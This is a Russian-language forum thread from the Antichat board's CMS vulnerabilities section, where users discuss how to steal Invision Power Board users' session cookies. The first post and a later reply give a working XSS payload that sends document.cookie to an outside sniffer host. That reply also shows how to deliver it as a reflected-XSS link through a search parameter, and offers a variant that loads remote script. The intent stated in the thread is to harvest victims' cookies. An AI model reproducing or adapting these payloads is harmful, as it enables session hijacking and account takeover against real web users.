HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Ipb не скрипт, а ссылка
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Ipb не скрипт, а ссылка
  #1  
Старый 23.03.2006, 17:22
ZetRoX
Познающий
Регистрация: 04.12.2005
Сообщений: 52
С нами: 10753681

Репутация: 1
По умолчанию Ipb не скрипт, а ссылка
у меня вопрос, можно ли сделать так, чтобы XSS

Код:
<script>img = new Image(); img.src = "http://s.netsec.ru/blablabla/pic.gif?"+document.cookie;</script>
выполнялся не через отправку сообщения "Жалоба", а после нажатия на ссылку, оставленную в простом сообщении???

или надо сделать страницу на php, с каким-то ещё методом....

вообщем, нужно, чтобы при нажатии на сылку приходила на сниффер таже инфа (можно чтобы больше приходило....), что и при обычном использовании XSS....
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 23.03.2006, 17:47
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию
Цитата:
вообщем, нужно, чтобы при нажатии на сылку приходила на сниффер таже инфа (можно чтобы больше приходило....), что и при обычном использовании XSS....
<a href=... onclick="javascript:...">ссылка</a>

Цитата:
можно ли сделать
Нельзя.
 
Ответить с цитированием

  #3  
Старый 23.03.2006, 18:43
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
С нами: 11087066

Репутация: 561


По умолчанию
Если тебе нужна просто ссылка то можно если там есть пассивный XSS. Например _http://target.com/search.php?string=что нибудь на русском<script>img = new Image(); img.src = "http://s.netsec.ru/blablabla/pic.gif?"+document.cookie;</script> либо <script src=http://zzzzzz.com/xss.js?<b>Но это на ламёров.

Ещё можно попробовать так http://forum.antichat.ru/thread9910-explorer.html
__________________
Full DNS report
 
Ответить с цитированием

  #4  
Старый 23.03.2006, 21:03
ZetRoX
Познающий
Регистрация: 04.12.2005
Сообщений: 52
С нами: 10753681

Репутация: 1
По умолчанию
спасибо, буду разбираться и думать....
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрипт для брута... Allen PHP 4 07.03.2006 01:28
Php скрипт для отправки писем... Allen PHP 6 21.02.2006 22:30
Скрипт в фотографии Jpg Poacher Уязвимости 15 11.02.2006 19:16



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.